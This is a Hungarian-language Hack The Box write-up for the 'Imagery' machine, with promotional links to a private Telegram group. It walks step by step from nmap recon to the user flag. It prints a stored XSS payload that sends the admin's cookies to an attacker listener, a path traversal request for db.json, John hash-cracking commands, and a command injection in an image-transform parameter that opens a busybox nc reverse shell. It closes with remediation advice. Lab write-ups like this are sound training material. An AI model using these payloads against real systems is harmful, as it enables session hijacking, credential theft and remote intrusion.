Imagery — HTB Writeup
Platform: Linux
IP: 10.129.165.87
Difficulty: Medium
Author: NoSec
wanna go deeper? unlock short videos & early root chains by joining backdoor crew
💀 join the backdoor crewRecon – Nmap
nmap -sVC 10.129.165.87
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
- 22/tcp – SSH
- 8000/tcp – HTTP (Werkzeug, Python 3.12.7)
A weben egy Image Gallery alkalmazás fut.
Előzetes belépés — Stored XSS → admin cookie
A bug report oldalon stored XSS volt. Indítsunk egy egyszerű HTTP szervert a callback-ek fogadására:
python3 -m http.server 4444
Töltsük be egy hibajelentésbe a payloadot:
<img src=x onerror=fetch('http://<YOUR-IP>:4444/?pwned='+document.cookie)>
Amikor az admin megnyitotta a reportot, az admin munkamenet-cookie-ja elküldésre került a listenerünknek.
LFI az admin végponton
A megszerzett admin cookie-val elérhető az /admin/get_system_log
végpont, amely a log_identifier
paraméter alapján fájlokat olvas be — path traversal engedélyezett.
Állítsuk be a COOKIE változót:
COOKIE="session=ADMIN_COOKIE"
Példa a DB lekérésére:
curl -s -H "Cookie: $COOKIE" \
"http://10.129.184.125:8000/admin/get_system_log?log_identifier=../../../../home/web/web/db.json" | jq .
Ezzel megtaláltuk a felhasználókat és a jelszóhash-eket.
Hash törés
Mentsük el a hasht:
echo '2c65c8d7<HASH>' >> hashes.txt
Törjük John-nal:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
A feltört hitelesítő adatokkal be lehet jelentkezni a webappon.
Webshell — Parancsinjekció az image transformban
testuser
-ként töltsünk fel egy képet, kapjuk el a transform/crop kérést Burp-ben, és módosítsuk a height
paramétert:
"height":"100; busybox nc YOUR-IP 4444 -e /bin/sh; echo"
Indítsunk egy listenert:
nc -lvnp 4444
Triggereljük a transzformot — visszakapjuk a webfelhasználói shellt.
Pivot mark felhasználóhoz — backup bruteforce
A web shellből keressük a backupokat:
ls -la /var/backup
Megtaláltuk:
web_20250806_120723.zip.aes
Töltsük le az archívumot a saját gépünkre és bruteforcoljuk (egyedi Python script / pyAesCrypt loop). Kicsomagolva megtaláljuk a régi db.json
-t, amely tartalmazta a korábbi felhasználói hash-eket, többek között mark
-ét is.
Törjük ki offline:
echo '<mark_hash>' >> hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Felhasználói hozzáférés — su mark
A webshellből váltunk mark
felhasználóra:
su mark
Ezzel megszereztük a user flag-et.
Összefoglalás
- Stored XSS → admin cookie eltulajdonítása
- LFI az admin log végponton →
db.json
kinyerése - Hash törés →
testuser
hozzáférés - Parancsinjekció az image transformban → webshell
- Backup bruteforce → régi
db.json
amark
hash-csel - Hash törés →
mark
hitelesítő adatok →su mark
→ user flag
Megjegyzések & javítási javaslatok
- Szűrjük és escape-eljük az admin felületen megjelenített user-tartalmat; alkalmazzunk CSP-t és állítsuk a cookiekat
HttpOnly
-ra. - Kanonizáljuk és whitelist-eljük a fájlokhoz való hozzáférést; utasítsuk el a
..
bejegyzéseket. - Soha ne építsünk shell parancsot felhasználói inputból; használjunk könyvtári API-kat.
- Izoláljuk a képfeldolgozó folyamatokat és csökkentsük a jogosultságaikat.
- A biztonsági mentéseket erősen titkosítsuk és megfelelő kulcskezelést alkalmazzunk.
🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn
☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben
💻 támogasd a nosec-et